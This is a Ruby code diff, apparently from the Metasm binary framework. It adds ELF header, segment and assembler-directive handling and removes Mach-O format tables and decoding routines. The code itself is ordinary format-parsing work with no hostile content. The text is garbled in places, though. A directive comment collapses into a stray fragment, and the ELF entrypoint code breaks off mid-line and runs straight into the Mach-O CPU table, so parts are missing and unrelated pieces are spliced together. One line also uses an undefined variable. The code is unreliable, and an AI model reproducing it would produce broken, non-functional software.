+ first_seg.vaddr = new_label('segvaddr') + first_seg.offset = new_label('segoff') + first_seg.memsz = new_label('segmemsz') + first_seg.filesz = new_label('segfilsz') + end + + if first_seg and not @segments.find { |seg_| seg_.type == 'PHDR' } + phdr = Segment.new + phdr.type = 'PHDR' + phdr.flags = first_seg.flags + phdr.offset = new_label('segoff') + phdr.vaddr = new_label('segvaddr') + phdr.filesz = phdr.memsz = new_label('segmemsz') + @segments.unshift phdr + end + + # encode section&program headers + if @header.shnum != 0 + st = @sections.inject(EncodedData.new) { |edata, s| edata << s.encode(self) } + else + @header.shoff = @header.shnum = @header.shstrndx = 0 + end + pt = @segments.inject(EncodedData.new) { |edata, s| edata << s.encode(self) } + + binding = {} + @encoded << @header.encode(self) + @encoded.align 8 + binding[@header.phoff] = @encoded.length + if phdr + binding[phdr.offset] = @encoded.length + pt.add_export phdr.vaddr, 0 + binding[phdr.memsz] = pt.length + end + @encoded << pt + @encoded.align 8 + + if first_seg + # put headers into the 1st mmaped segment + if first_seg_oaddr.kind_of? ::Integer + # pad headers to align the 1st segment's data + @encoded.virtsize += (first_seg_oaddr - @encoded.virtsize) & 0xfff + addr = first_seg_oaddr - @encoded.length + else + addr = ((@header.type == 'EXEC') ? 0x08048000 : 0) + binding[first_seg_oaddr] = addr + @encoded.length + end + binding[first_seg_off] = @encoded.length if not first_seg_off.kind_of? ::Integer + first_seg.encoded = @encoded << first_seg.encoded + @encoded = EncodedData.new + binding[first_seg.memsz] = first_seg.encoded.virtsize if not first_seg.memsz.kind_of? ::Integer + binding[first_seg.filesz] = first_seg.encoded.rawsize if not first_seg.filesz.kind_of? ::Integer + end + + @segments.each { |seg_| + next if not seg_.encoded + if seg_.vaddr.kind_of? ::Integer + raise "cannot put segment at address #{Expression[seg_.vaddr]} (now at #{Expression[addr]})" if seg_.vaddr < addr + addr = seg_.vaddr + else + binding[seg_.vaddr] = addr + end + # ensure seg_.vaddr & page_size == seg_.offset & page_size + @encoded.virtsize += (addr - @encoded.virtsize) & 0xfff + binding.update seg_.encoded.binding(addr) + binding[seg_.offset] = @encoded.length + seg_.encoded.align 8 + @encoded << seg_.encoded[0, seg_.encoded.rawsize] + addr += seg_.encoded.length + + # page break for memory permission enforcement + if @segments[@segments.index(seg_)+1..-1].find { |seg__| seg__.encoded and seg__.vaddr.kind_of? ::Integer } + addr += 0x1000 - (addr & 0xfff) if addr & 0xfff != 0 # minimize memory size + else + addr += 0x1000 # minimize file size + end + } + + binding[@header.shoff] = @encoded.length if st + @encoded << st + @encoded.align 8 + + @sections.each { |sec| + next if not sec.encoded or sec.flags.include? 'ALLOC' # already in a segment.encoded + binding[sec.offset] = @encoded.length + binding.update sec.encoded.binding + @encoded << sec.encoded + @encoded.align 8 + } + + @encoded.fixup! binding + @encoded.data + end + + def parse_init + # allow the user to specify a section, falls back to .text if none specified + if not defined? @cursource or not @cursource + @cursource = Object.new + class << @cursource + attr_accessor :elf + def <<(*a) + t = Preprocessor::Token.new(nil) + t.raw = '.text' + elf.parse_parser_instruction t + elf.cursource.send(:<<, *a) + end + end + @cursource.elf = self + end + + @segments.delete_if { |s| s.type == 'INTERP' } + seg = Segment.new + seg.type = 'INTERP' + seg.encoded = EncodedData.new << (@bitsize == 64 ? DEFAULT_INTERP64 : DEFAULT_INTERP) << 0 + seg.flags = ['R'] + seg.memsz = seg.filesz = seg.encoded.length + @segments.unshift seg + + @source ||= {} + super() + end + + # handles elf meta-instructions + # + # syntax: + # .section "" [] [base=] + # change current section (where normal instruction/data are put) + # perms = list of 'w' 'x' 'alloc', may be prefixed by 'no' + # 'r' ignored + # defaults to 'alloc' + # shortcuts: .text .data .rodata .bss + # base: immediate expression representing the section base address + # .entrypoint [
[(no)wxalloc] [base=] + sname = readstr[] + if not s = @sections.find { |s_| s_.name == sname } + s = Section.new + s.type = 'PROGBITS' + s.name = sname + s.encoded = EncodedData.new + s.flags = ['ALLOC'] + @sections << s + end + loop do + @lexer.skip_space + break if not tok = @lexer.nexttok or tok.type != :string + case @lexer.readtok.raw.downcase + when /^(no)?r?(w)?(x)?(alloc)?$/ + ar = [] + ar << 'WRITE' if $2 + ar << 'EXECINSTR' if $3 + ar << 'ALLOC' if $4 + if $1; s.flags -= ar + else s.flags |= ar + end + when 'base' + @lexer.skip_space + @lexer.readtok if tok = @lexer.nexttok and tok.type == :punct and tok.raw == '=' + raise instr, 'bad section base' if not s.addr = Expression.parse(@lexer).reduce or not s.addr.kind_of? ::Integer + else raise instr, 'unknown specifier' + end + end + @cursource = @source[sname] ||= [] + check_eol[] + + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @header.entry = entrypoint + check_eol[] + + when '.global', '.weak', '.local', '.symbol' + if instr.raw == '.symbol' + bind = readstr[] + else + bind = instr.raw[1..-1] + end + + s = Symbol.new + s.name = readstr[] + s.type = 'FUNC' + s.bind = bind.upcase + # define s.section ? should check the section exporting s.target, but it may not be defined now + + # parse pseudo instruction arguments + loop do + @lexer.skip_space + ntok = @lexer.readtok + if not ntok or ntok.type == :eol + @lexer.unreadtok ntok + break + end + raise instr, "syntax error: string expected, found #{ntok.raw.inspect}" if ntok.type != :string + case ntok.raw + when 'undef' + s.shndx = 'UNDEF' + when 'plt' + @lexer.skip_space + ntok = @lexer.readtok + raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' + @lexer.skip_space + ntok = @lexer.readtok + raise "syntax error: label expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string + s.thunk = ntok.raw + when 'type' + @lexer.skip_space + ntok = @lexer.readtok + raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' + @lexer.skip_space + ntok = @lexer.readtok + raise "syntax error: symbol type expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string or not SYMBOL_TYPE.index(ntok.raw) + s.type = ntok.raw + when 'size' + @lexer.skip_space + ntok = @lexer.readtok + raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' + @lexer.skip_space + ntok = @lexer.readtok + raise "syntax error: symbol size expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string or not ntok.raw =~ /^\d+$/ + s.size = ntok.raw.to_i + else + if not s.value + s.value = ntok.raw + elsif not s.size + s.size = Expression[ntok.raw, :-, s.value] + else + raise instr, "syntax error: eol expected, found #{ntok.raw.inspect}" + end + end + end + s.value ||= s.name if not s.shndx and not s.thunk + s.shndx ||= 1 if s.value + @symbols << s + + when '.needed' + # a required library + (@tag['NEEDED'] ||= []) << readstr[] + check_eol[] + + when '.soname' + # exported library name + @tag['SONAME'] = readstr[] + check_eol[] + @segments.delete_if { |s_| s_.type == 'INTERP' } + @header.type = 'DYN' + + when '.interp', '.nointerp' + # required ELF interpreter + interp = ((instr.raw == '.nointerp') ? 'nil' : readstr[]) + + @segments.delete_if { |s_| s_.type == 'INTERP' } + case interp.downcase + when 'nil', 'no', 'none' + @header.shnum = 0 + else + seg = Segment.new + seg.type = 'INTERP' + seg.encoded = EncodedData.new << interp << 0 + seg.flags = ['R'] + seg.memsz = seg.filesz = seg.encoded.length + @segments.unshift seg + end + + check_eol[] + + when '.pt_gnu_stack' + # PT_GNU_STACK marking + mode = readstr[] + + @segments.delete_if { |s_| s_.type == 'GNU_STACK' } + s = Segment.new + s.type = 'GNU_STACK' + case mode + when /^rw$/i; s.flags = %w[R W] + when /^rwx$/i; s.flags = %w[R W X] + else raise instr, "syntax error: expected rw|rwx, found #{mode.inspect}" + end + @segments << s + + when '.init', '.fini' + # dynamic tag initialization + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr, 'syntax error' if not init = Expression.parse(@lexer) + else + init = new_label(instr.raw[1..-1]) + @cursource << Label.new(init, instr.backtrace.dup) + end + @tag[instr.raw[1..-1].upcase] = init + check_eol[] + + when '.init_array', '.fini_array', '.preinit_array' + t = @tag[instr.raw[1..-1].upcase] ||= [] + loop do + raise instr, 'syntax error' if not e = Expression.parse(@lexer) + t << e + @lexer.skip_space + ntok = @lexer.nexttok + break if not ntok or ntok.type == :eol + raise instr, "syntax error, ',' expected, found #{ntok.raw.inspect}" if nttok != :punct or ntok.raw != ',' + @lexer.readtok + end + + else super(instr) + end + end + + # assembles the hash self.source to a section array + def assemble(*a) + parse(*a) if not a.empty? + @source.each { |k, v| + raise "no section named #{k} ?" if not s = @sections.find { |s_| s_.name == k } + s.encoded << assemble_sequence(v, @cpu) + v.clear + } + end + + def encode_file(path, *a) + ret = super(path, *a) + File.chmod(0755, path) if @header.entry and @header.entry != 0 + ret + end + + # defines __ELF__ + def tune_prepro(l) + l.define_weak('__ELF__', 1) + end + + # set the data model + def tune_cparser(cp) + super(cp) + cp.lp64 if @cpu.size == 64 + end + + # handles C attributes: export, export_as(foo), import, import_from(libc.so.6), init, fini, entrypoint + def read_c_attrs(cp) + cp.toplevel.symbol.each_value { |v| + next if not v.kind_of? C::Variable + if v.has_attribute 'export' or ea = v.has_attribute_var('export_as') + s = Symbol.new + s.name = ea || v.name + s.type = v.type.kind_of?(C::Function) ? 'FUNC' : 'NOTYPE' + s.bind = 'GLOBAL' + s.shndx = 1 + s.value = v.name + @symbols << s + end + if v.has_attribute 'import' or ln = v.has_attribute_var('import_from') + (@tag['NEEDED'] ||= []) << ln if ln and not @tag['NEEDED'].to_a.include? ln + s = Symbol.new + s.name = v.name + s.type = v.type.kind_of?(C::Function) ? 'FUNC' : 'NOTYPE' + s.bind = 'GLOBAL' + s.shndx = 'UNDEF' + @symbols << s + end + if v.has_attribute('init') or v.has_attribute('constructor') + (@tag['INIT_ARRAY'] ||= []) << v.name + end + if v.has_attribute('fini') or v.has_attribute('destructor') + (@tag['FINI_ARRAY'] ||= []) << v.name + end + if v.has_attribute 'entrypoint' + @header.entry = v.name + end + } + end + + def c_set_default_entrypoint + return if @header.entry + if @sections.find { |s| s.encoded and s.encoded.export['_start'] } + @header.entry = '_start' + elsif @sections.find { |s| s.encoded and s.encoded.export['main'] } + # entrypoint stack: [sp] = argc, [sp+1] = argv0, [sp+2] = argv1, [sp+argc+1] = 0, [sp+argc+2] = envp0, etc + case @cpu.shortname + when 'ia32'; assemble < 'VAX', 2 => 'ROMP', - 4 => 'NS32032', 5 => 'NS32332', - 6 => 'MC680x0', 7 => 'I386', - 8 => 'MIPS', 9 => 'NS32532', - 11 => 'HPPA', 12 => 'ARM', - 13 => 'MC88000', 14 => 'SPARC', - 15 => 'I860', 16 => 'I860_LITTLE', - 17 => 'RS6000', 18 => 'POWERPC', - #0x100_0000 => 'CPU_ARCH_ABI64', - 0x100_0000|7 => 'X86_64', - 0x100_0000|18 => 'POWERPC64', - 255 => 'VEO', - 0xffff_ffff => 'ANY', - } - - SUBCPU = { - 'VAX' => { 0 => 'ALL', - 1 => '780', 2 => '785', 3 => '750', 4 => '730', - 5 => 'UVAXI', 6 => 'UVAXII', 7 => '8200', 8 => '8500', - 9 => '8600', 10 => '8650', 11 => '8800', 12 => 'UVAXIII', - }, - 'ROMP' => { 0 => 'ALL', 1 => 'PC', 2 => 'APC', 3 => '135', - 0 => 'MMAX_ALL', 1 => 'MMAX_DPC', 2 => 'SQT', - 3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC', - }, - 'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX', - 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', - 5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5', - }, - 'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', }, - 'MC680x0' => { 1 => 'ALL', 2 => 'MC68040', 3 => 'MC68030_ONLY', }, - 'HPPA' => { 0 => 'ALL', 1 => '7100LC', }, - 'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440', - 4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7', - }, - 'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', }, - :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', }, - 'I860' => { 0 => 'ALL', 1 => '860', }, - 'RS6000' => { 0 => 'ALL', 1 => 'RS6000', }, - :wtf2 => { 0 => 'SUN4_ALL', 1 => 'SUN4_260', 2 => 'SUN4_110', }, - 'SPARC' => { 0 => 'SPARC_ALL', }, - 'POWERPC' => { 0 => 'ALL', 1 => '601', 2 => '602', 3 => '603', 4 => '603e', - 5 => '603ev', 6 => '604', 7 => '604e', 8 => '620', - 9 => '750', 10 => '7400', 11 => '7450', 100 => '970', - }, - 'VEO' => { 1 => 'VEO_1', 2 => 'VEO_ALL', }, - } - SUBCPU['POWERPC64'] = SUBCPU['POWERPC'].dup - SUBCPU['X86_64'] = SUBCPU['I386'].dup - - SUBCPUFLAG = { 0x80 => 'LIB64' } - - - FILETYPE = { - 1 => 'OBJECT', 2 => 'EXECUTE', 3 => 'FVMLIB', - 4 => 'CORE', 5 => 'PRELOAD', 6 => 'DYLIB', - 7 => 'DYLINKER', 8 => 'BUNDLE', 9 => 'DYLIB_STUB', - } - - FLAGS = { - 0x1 => 'NOUNDEFS', 0x2 => 'INCRLINK', 0x4 => 'DYLDLINK', 0x8 => 'BINDATLOAD', - 0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL', - 0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE', - 0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 'WEAK_DEFINES', - 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', - } - - SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' } - - LOAD_COMMAND = { - 0x1 => 'SEGMENT', 0x2 => 'SYMTAB', 0x3 => 'SYMSEG', 0x4 => 'THREAD', - 0x5 => 'UNIXTHREAD', 0x6 => 'LOADFVMLIB', 0x7 => 'IDFVMLIB', 0x8 => 'IDENT', - 0x9 => 'FVMFILE', 0xa => 'PREPAGE', 0xb => 'DYSYMTAB', 0xc => 'LOAD_DYLIB', - 0xd => 'ID_DYLIB', 0xe => 'LOAD_DYLINKER', 0xf => 'ID_DYLINKER', 0x10 => 'PREBOUND_DYLIB', - 0x11 => 'ROUTINES', 0x12 => 'SUB_FRAMEWORK', 0x13 => 'SUB_UMBRELLA', 0x14 => 'SUB_CLIENT', - 0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM', - 0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64', - 0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO', - 0x8000_001f => 'REEXPORT_DYLIB', - #0x8000_0000 => 'REQ_DYLD', - } - - THREAD_FLAVOR = { - 'POWERPC' => { - 1 => 'THREAD_STATE', - 2 => 'FLOAT_STATE', - 3 => 'EXCEPTION_STATE', - 4 => 'VECTOR_STATE' - }, - 'I386' => { - 1 => 'NEW_THREAD_STATE', - 2 => 'FLOAT_STATE', - 3 => 'ISA_PORT_MAP_STATE', - 4 => 'V86_ASSIST_STATE', - 5 => 'REGS_SEGS_STATE', - 6 => 'THREAD_SYSCALL_STATE', - 7 => 'THREAD_STATE_NONE', - 8 => 'SAVED_STATE', - -1 & 0xffffffff => 'THREAD_STATE', - -2 & 0xffffffff => 'THREAD_FPSTATE', - -3 & 0xffffffff => 'THREAD_EXCEPTSTATE', - -4 & 0xffffffff => 'THREAD_CTHREADSTATE' - } - } - - SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' } - SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' } - SYM_STAB = { } - - class SerialStruct < Metasm::SerialStruct - new_int_field :xword - end - - class Header < SerialStruct - mem :magic, 4 - decode_hook { |m, h| - case h.magic - when MAGIC; m.size = 32 ; m.endianness = :big - when CIGAM; m.size = 32 ; m.endianness = :little - when MAGIC64; m.size = 64 ; m.endianness = :big - when CIGAM64; m.size = 64 ; m.endianness = :little - else raise InvalidExeFormat, "Invalid Mach-O signature #{h.magic.unpack('H*').first.inspect}" - end - } - word :cputype - bitfield :word, 0 => :cpusubtype, 24 => :cpusubtypeflag - words :filetype, :ncmds, :sizeofcmds, :flags - fld_enum :cputype, CPU - fld_enum(:cpusubtype) { |m, h| SUBCPU[h.cputype] || {} } - fld_bits :cpusubtypeflag, SUBCPUFLAG - fld_enum :filetype, FILETYPE - fld_bits :flags, FLAGS - attr_accessor :reserved # word 64bit only - - def set_default_values(m) - @magic ||= case [m.size, m.endianness] - when [32, :big]; MAGIC - when [32, :little]; CIGAM - when [64, :big]; MAGIC64 - when [64, :little]; CIGAM64 - end - @cpusubtype ||= 'ALL' - @filetype ||= 'EXECUTE' - @ncmds ||= m.commands.length - @sizeofcmds ||= m.new_label('sizeofcmds') - super(m) - end - - def decode(m) - super(m) - @reserved = m.decode_word if m.size == 64 - end - end - - class LoadCommand < SerialStruct - words :cmd, :cmdsize - fld_enum :cmd, LOAD_COMMAND - attr_accessor :data - - def decode(m) - super(m) - ptr = m.encoded.ptr - if @cmd.kind_of? String and self.class.constants.map { |c| c.to_s }.include? @cmd - @data = self.class.const_get(@cmd).decode(m) - end - m.encoded.ptr = ptr + @cmdsize - 8 - end - - def set_default_values(m) - @cmd ||= data.class.name.sub(/.*::/, '') - @cmdsize ||= 'cmdsize' - super(m) - end - - def encode(m) - ed = super(m) - ed << @data.encode(m) if @data - ed.align(m.size >> 3) - ed.fixup! @cmdsize => ed.length if @cmdsize.kind_of? String - ed - end - - - class UUID < SerialStruct - mem :uuid, 16 - end - - class SEGMENT < SerialStruct - str :name, 16 - xwords :virtaddr, :virtsize, :fileoff, :filesize - words :maxprot, :initprot, :nsects, :flags - fld_bits :maxprot, SEG_PROT - fld_bits :initprot, SEG_PROT - attr_accessor :sections, :encoded - - def decode(m) - super(m) - @sections = [] - @nsects.times { @sections << SECTION.decode(m, self) } - end - - def set_default_values(m) - # TODO (in the caller?) @encoded = @sections.map { |s| s.encoded }.join - @virtaddr ||= m.new_label('virtaddr') - @virtsize ||= @encoded.length - @fileoff ||= m.new_label('fileoff') - @filesize ||= @encoded.rawsize - @sections ||= [] - @nsects ||= @sections.length - @maxprot ||= %w[READ WRITE EXECUTE] - @initprot ||= %w[READ] - super(m) - end - - def encode(m) - ed = super(m) # need to call set_default_values before using @sections - @sections.inject(ed) { |ed_, s| ed_ << s.encode(m) } - end - end - SEGMENT_64 = SEGMENT - - class SECTION < SerialStruct - str :name, 16 - str :segname, 16 - xwords :addr, :size - words :offset, :align, :reloff, :nreloc, :flags, :res1, :res2 - attr_accessor :res3 # word 64bit only - attr_accessor :segment, :encoded - - def decode(m, s) - super(m) - @res3 = m.decode_word if m.size == 64 - @segment = s - end - - def set_default_values(m) - @segname ||= @segment.name - # addr, offset, etc = @segment.virtaddr + 42 - super(m) - end - - def decode_inner(m) - @encoded = m.encoded[m.addr_to_off(@addr), @size] - end - end - SECTION_64 = SECTION - - class SYMTAB < SerialStruct - words :symoff, :nsyms, :stroff, :strsize - end - - class DYSYMTAB < SerialStruct - words :ilocalsym, :nlocalsym, :iextdefsym, :nextdefsym, :iundefsym, :nundefsym, - :tocoff, :ntoc, :modtaboff, :nmodtab, :extrefsymoff, :nextrefsyms, - :indirectsymoff, :nindirectsyms, :extreloff, :nextrel, :locreloff, :nlocrel - end - - class THREAD < SerialStruct - words :flavor, :count - fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} } - attr_accessor :ctx - - def entrypoint(m) - @ctx ||= {} - case m.header.cputype - when 'I386'; @ctx[:eip] - when 'X86_64'; @ctx[:rip] - when 'POWERPC'; @ctx[:srr0] - when 'ARM'; @ctx[:pc] - end - end - - def set_entrypoint(m, ep) - @ctx ||= {} - case m.header.cputype - when 'I386'; @ctx[:eip] = ep - when 'X86_64'; @ctx[:rip] = ep - when 'POWERPC'; @ctx[:srr0] = ep - when 'ARM'; @ctx[:pc] = ep - end - end - - def ctx_keys(m) - case m.header.cputype - when 'I386'; %w[eax ebx ecx edx edi esi ebp esp ss eflags eip cs ds es fs gs] - when 'X86_64'; %w[rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs] - when 'POWERPC'; %w[srr0 srr1 r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 r25 r26 r27 r28 r29 r30 r31 cr xer lr ctr mq vrsave] - when 'ARM'; %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] - else [*1..@count].map { |i| "r#{i}" } - end.map { |k| k.to_sym } - end - - def decode(m) - super(m) - @ctx = ctx_keys(m)[0, @count].inject({}) { |ctx, r| ctx.update r => m.decode_xword } - end - - def set_default_values(m) - @ctx ||= {} - ctx_keys(m).each { |k| @ctx[k] ||= 0 } - @count ||= @ctx.length - super(m) - end - - def encode(m) - ctx_keys(m).inject(super(m)) { |ed, r| ed << m.encode_word(@ctx[r]) } - end - end - UNIXTHREAD = THREAD - - class STRING < SerialStruct - word :stroff - attr_accessor :str - - def decode(m) - ptr = m.encoded.ptr - super(m) - ptr = m.encoded.ptr = ptr + @stroff - 8 - @str = m.decode_strz - end - end - - class DYLIB < STRING - word :stroff - words :timestamp, :cur_version, :compat_version - end - LOAD_DYLIB = DYLIB - ID_DYLIB = DYLIB - - class PREBOUND_DYLIB < STRING - word :stroff - word :nmodules - word :linked_modules - end - - LOAD_DYLINKER = STRING - ID_DYLINKER = STRING - - class ROUTINES < SerialStruct - xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6 - end - ROUTINES_64 = ROUTINES - - class TWOLEVEL_HINTS < SerialStruct - words :offset, :nhints - end - class TWOLEVEL_HINT < SerialStruct - bitfield :word, 0 => :isub_image, 8 => :itoc - end - - SUB_FRAMEWORK = STRING - SUB_UMBRELLA = STRING - SUB_LIBRARY = STRING - SUB_CLIENT = STRING - - class CODE_SIGNATURE_PTR < SerialStruct - word :offset - word :size - attr_accessor :codesig - - def decode(m) - ptr = m.encoded.ptr - super(m) - m.encoded.ptr = @offset - @codesig = CODE_SIGNATURE.decode(m) - m.encoded.ptr = ptr + @size - end - end - end - - class CODE_SIGNATURE < SerialStruct - word :magic - word :size - word :count - attr_accessor :slots - - def decode(m) - cs_base = m.encoded.ptr - e = m.endianness - m.endianness = :big - - super(m) - @slots = [] - @count.times { @slots << CS_SLOT_PTR.decode(m, cs_base) } - m.endianness = e - end - end - - class CS_SLOT_PTR < SerialStruct - word :type - word :offset - attr_accessor :body - - def decode(m, cs_base) - super(m) - ptr = m.encoded.ptr - m.encoded.ptr = cs_base + @offset - - if @type == 0 - @body = CS_CODE_DIRECTORY.decode(m) - else - @body = CS_SLOT.decode(m) - end - m.encoded.ptr = ptr - end - end - - class CS_SLOT < SerialStruct - word :magic - word :size - attr_accessor :data - - def decode(m) - super(m) - @data = m.encoded.read(@size) - end - end - - class CS_CODE_DIRECTORY < SerialStruct - words :magic, :size, :version - mem :unk1, 4 - word :hash_offset - word :name_offset - word :special_page_count - word :code_page_count - mem :unk3, 8 - attr_accessor :name, :cs_slots_hash, :code_hash - - def decode(m) - super(m) - ptr = m.encoded.ptr - - m.encoded.ptr += @name_offset - 40 - @name = m.decode_strz - @cs_slots_hash = m.encoded.read(@special_page_count * 20) - - m.encoded.ptr = ptr + @hash_offset - 40 - @code_hash = m.encoded.read(@size - @hash_offset) - - m.encoded.ptr = ptr - end - end - - class Symbol < SerialStruct - word :nameoff - bitfield :byte, 0 => :scope, 1 => :type, 5 => :stab - fld_enum :scope, SYM_SCOPE - fld_enum :type, SYM_TYPE - fld_enum :stab, SYM_STAB - byte :sect - half :desc - xword :value - attr_accessor :name - - def decode(m, buf=nil) - super(m) - idx = buf.index(?\0, @nameoff) if buf - @name = @name = buf[@nameoff..idx-1] if idx - end - end - - def encode_byte(val) Expression[val].encode( :u8, @endianness) end - def encode_half(val) Expression[val].encode(:u16, @endianness) end - def encode_word(val) Expression[val].encode(:u32, @endianness) end - def encode_xword(val) Expression[val].encode((@size == 32 ? :u32 : :u64), @endianness) end - def decode_byte(edata = @encoded) edata.decode_imm( :u8, @endianness) end - def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end - - - attr_accessor :endianness, :size - attr_accessor :header, :source - attr_accessor :segments - attr_accessor :commands - attr_accessor :symbols - - def initialize(cpu=nil) - super(cpu) - @endianness ||= cpu ? cpu.endianness : :little - @size ||= cpu ? cpu.size : 32 - @header = Header.new - @commands = [] - @segments = [] - end - - # decodes the Mach header from the current offset in self.encoded - def decode_header - @header.decode self - @header.ncmds.times { @commands << LoadCommand.decode(self) } - @commands.each { |cmd| - e = cmd.data - case cmd.cmd - when 'SEGMENT', 'SEGMENT_64'; @segments << e - end - } - end - - def decode - decode_header - @segments.each { |s| decode_segment(s) } - decode_symbols - decode_relocations - end - - def decode_symbols - @symbols = [] - ep_count = 0 - @commands.each { |cmd| - e = cmd.data - case cmd.cmd - when 'SYMTAB' - @encoded.ptr = e.stroff - buf = @encoded.read e.strsize - @encoded.ptr = e.symoff - e.nsyms.times { @symbols << Symbol.decode(self, buf) } - when 'THREAD', 'UNIXTHREAD' - ep_count += 1 - ep = cmd.data.entrypoint(self) - next if not seg = @segments.find { |seg_| ep >= seg_.virtaddr and ep < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }", ep - seg.virtaddr) - end - } - @symbols.each { |s| - next if s.value == 0 or not s.name - next if not seg = @segments.find { |seg_| s.value >= seg_.virtaddr and s.value < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export(s.name, s.value - seg.virtaddr) - } - end - - def decode_relocations - end - - def decode_segment(s) - s.encoded = @encoded[s.fileoff, s.filesize] - s.encoded.virtsize = s.virtsize - s.sections.each { |ss| ss.encoded = @encoded[ss.offset, ss.size] } - end - - def each_section(&b) - @segments.each { |s| yield s.encoded, s.virtaddr } - end - - def get_default_entrypoints - @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) } - end - - def cpu_from_headers - case @header.cputype - when 'I386'; Ia32.new - when 'X86_64'; X86_64.new - when 'POWERPC'; PowerPC.new - when 'ARM'; ARM.new - else raise "unsupported cpu #{@header.cputype}" - end - end - - def encode(type=nil) - @encoded = EncodedData.new - - init_header_cpu - - if false and maybeyoureallyneedthis - segz = LoadCommand::SEGMENT.new - segz.name = '__PAGEZERO' - segz.encoded = EncodedData.new - segz.encoded.virtsize = 0x1000 - segz.initprot = segz.maxprot = 0 - @segments.unshift segz - end - - # TODO sections -> segments - @segments.each { |seg| - cname = (@size == 64 ? 'SEGMENT_64' : 'SEGMENT') - if not @commands.find { |cmd| cmd.cmd == cname and cmd.data == seg } - cmd = LoadCommand.new - cmd.cmd = cname - cmd.data = seg - @commands << cmd - end - } - - binding = {} - @encoded << @header.encode(self) - - first = @segments.find { |seg| seg.encoded.rawsize > 0 } - - first.virtsize = new_label('virtsize') - first.filesize = new_label('filesize') - - hlen = @encoded.length - @commands.each { |cmd| @encoded << cmd.encode(self) } - binding[@header.sizeofcmds] = @encoded.length - hlen if @header.sizeofcmds.kind_of? String - - # put header in first segment - first.encoded = @encoded << first.encoded - - @encoded = EncodedData.new - - addr = @encoded.length - @segments.each { |seg| - seg.encoded.align 0x1000 - binding[seg.virtaddr] = addr - binding[seg.virtsize] = seg.encoded.length if seg.filesize.kind_of? String - binding[seg.fileoff] = @encoded.length - binding[seg.filesize] = seg.encoded.rawsize if seg.filesize.kind_of? String - binding.update seg.encoded.binding(addr) - @encoded << seg.encoded[0, seg.encoded.rawsize] - @encoded.align 0x1000 - addr += seg.encoded.length - } - - @encoded.fixup! binding - @encoded.data - end - - def parse_init - # allow the user to specify a section, falls back to .text if none specified - if not defined? @cursource or not @cursource - @cursource = Object.new - class << @cursource - attr_accessor :exe - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - exe.parse_parser_instruction t - exe.cursource.send(:<<, *a) - end - end - @cursource.exe = self - end - - @source ||= {} - - init_header_cpu # for '.entrypoint' - - super() - end - - def init_header_cpu - @header.cputype ||= case @cpu.shortname - when 'ia32'; 'I386' - when 'x64'; 'X86_64' - when 'powerpc'; 'POWERPC' - when 'arm'; 'ARM' - end - end - - # handles macho meta-instructions - # - # syntax: - # .section "" [] - # change current section (where normal instruction/data are put) - # perms = list of 'r' 'w' 'x', may be prefixed by 'no' - # shortcuts: .text .data .rodata 